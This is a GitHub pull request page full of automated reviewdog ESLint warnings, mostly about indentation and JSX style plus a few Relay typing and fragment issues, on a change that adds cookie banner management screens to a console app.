🚫 [eslint (apps/console)] reported by reviewdog 🐶
{record.bannerVersion} must be placed on a new line @stylistic/jsx-one-expression-per-line
This queries for the field gpcCount but this file does not seem to use it directly. If a different file needs this information that file should export a fragment and colocate the query for the data with the usage.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
'=' should be placed at the beginning of the line @stylistic/operator-linebreak
🚫 [eslint (apps/console)] reported by reviewdog 🐶
{rate} must be placed on a new line @stylistic/jsx-one-expression-per-line
🚫 [eslint (apps/console)] reported by reviewdog 🐶
% must be placed on a new line @stylistic/jsx-one-expression-per-line
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Unexpected parentheses around single function argument having a body with no curly braces @stylistic/arrow-parens
🚫 [eslint (apps/console)] reported by reviewdog 🐶./routes/cookieBannerRoutes import should occur before import of ./routes/dataRoutes import-x/order
probo/apps/console/src/routes.tsx
Line 50 in 4ab602b
| import { CookieBannerStateBadge } from "./_components/CookieBannerStateBadge"; | ||
| import { CreateCookieBannerDialog } from "./dialogs/CreateCookieBannerDialog"; | ||
|
|
||
| /* eslint-disable relay/unused-fields, relay/must-colocate-fragment-spreads */ |
There was a problem hiding this comment.
Unused eslint-disable directive (no problems were reported from 'relay/unused-fields' or 'relay/must-colocate-fragment-spreads')
| cookieBannersQuery, | ||
| props.queryRef, | ||
| ); | ||
| const pagination = usePaginationFragment( |
There was a problem hiding this comment.
The usePaginationFragment hook should be used with an explicit generated Typescript type, e.g.: usePaginationFragment(...) relay/generated-typescript-types
| <Td> | ||
| <CookieBannerStateBadge state={banner.state} /> | ||
| </Td> | ||
| <Td>v{banner.version}</Td> |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
v must be placed on a new line @stylistic/jsx-one-expression-per-line
| <Td> | ||
| <CookieBannerStateBadge state={banner.state} /> | ||
| </Td> | ||
| <Td>v{banner.version}</Td> |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
{banner.version} must be placed on a new line @stylistic/jsx-one-expression-per-line
| }, | ||
| }); | ||
|
|
||
| const onSubmit = handleSubmit((formData) => { |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Error: Cannot access refs during render
| /> | ||
| <Field | ||
| {...register("description")} | ||
| label={__("Description")} |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
| <Field | ||
| {...register("description")} | ||
| label={__("Description")} | ||
| type="textarea" |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
| {...register("description")} | ||
| label={__("Description")} | ||
| type="textarea" | ||
| error={errors.description?.message} |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
| label={__("Description")} | ||
| type="textarea" | ||
| error={errors.description?.message} | ||
| disabled={isFormDisabled} |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
| type="textarea" | ||
| error={errors.description?.message} | ||
| disabled={isFormDisabled} | ||
| /> |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
4ab602b to
6ec57b1
Compare
There was a problem hiding this comment.
Remaining comments which cannot be posted as a review comment to avoid GitHub Rate Limit
eslint (apps/console)
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 6 spaces but found 4 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 6 spaces but found 4 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 6 spaces but found 4 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Unexpected parentheses around single function argument having a body with no curly braces @stylistic/arrow-parens
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Unexpected parentheses around single function argument having a body with no curly braces @stylistic/arrow-parens
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Strings must use doublequote @stylistic/quotes
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Unexpected parentheses around single function argument having a body with no curly braces @stylistic/arrow-parens
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Error: Cannot access refs during render
The usePaginationFragment hook should be used with an explicit generated Typescript type, e.g.: usePaginationFragment(...) relay/generated-typescript-types
🚫 [eslint (apps/console)] reported by reviewdog 🐶
'=' should be placed at the beginning of the line @stylistic/operator-linebreak
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Unexpected parentheses around single function argument having a body with no curly braces @stylistic/arrow-parens
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Unexpected parentheses around single function argument having a body with no curly braces @stylistic/arrow-parens
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Unexpected parentheses around single function argument having a body with no curly braces @stylistic/arrow-parens
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Unexpected parentheses around single function argument having a body with no curly braces @stylistic/arrow-parens
🚫 [eslint (apps/console)] reported by reviewdog 🐶
... must be placed on a new line @stylistic/jsx-one-expression-per-line
🚫 [eslint (apps/console)] reported by reviewdog 🐶
v must be placed on a new line @stylistic/jsx-one-expression-per-line
🚫 [eslint (apps/console)] reported by reviewdog 🐶
{record.bannerVersion} must be placed on a new line @stylistic/jsx-one-expression-per-line
This queries for the field gpcCount but this file does not seem to use it directly. If a different file needs this information that file should export a fragment and colocate the query for the data with the usage.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
'=' should be placed at the beginning of the line @stylistic/operator-linebreak
🚫 [eslint (apps/console)] reported by reviewdog 🐶
{rate} must be placed on a new line @stylistic/jsx-one-expression-per-line
🚫 [eslint (apps/console)] reported by reviewdog 🐶
% must be placed on a new line @stylistic/jsx-one-expression-per-line
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Unexpected parentheses around single function argument having a body with no curly braces @stylistic/arrow-parens
🚫 [eslint (apps/console)] reported by reviewdog 🐶./routes/cookieBannerRoutes import should occur before import of ./routes/dataRoutes import-x/order
probo/apps/console/src/routes.tsx
Line 50 in 6ec57b1
| error={errors.description?.message} | ||
| disabled={isFormDisabled} | ||
| /> | ||
| </Card> |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
| disabled={isFormDisabled} | ||
| /> | ||
| </Card> | ||
| </div> |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
| </Card> | ||
| </div> | ||
|
|
||
| <div className="space-y-4"> |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
| </div> | ||
|
|
||
| <div className="space-y-4"> | ||
| <h2 className="text-base font-medium">{__("Button Labels")}</h2> |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
|
|
||
| <div className="space-y-4"> | ||
| <h2 className="text-base font-medium">{__("Button Labels")}</h2> | ||
| <Card className="space-y-4" padded> |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
| type="text" | ||
| error={errors.savePreferencesLabel?.message} | ||
| disabled={isFormDisabled} | ||
| /> |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
| error={errors.savePreferencesLabel?.message} | ||
| disabled={isFormDisabled} | ||
| /> | ||
| </Card> |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
| disabled={isFormDisabled} | ||
| /> | ||
| </Card> | ||
| </div> |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
| </Card> | ||
| </div> | ||
|
|
||
| <div className="space-y-4"> |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
| </div> | ||
|
|
||
| <div className="space-y-4"> | ||
| <div className="flex items-center justify-between"> |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
6ec57b1 to
b0f6690
Compare
There was a problem hiding this comment.
Remaining comments which cannot be posted as a review comment to avoid GitHub Rate Limit
eslint (apps/console)
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
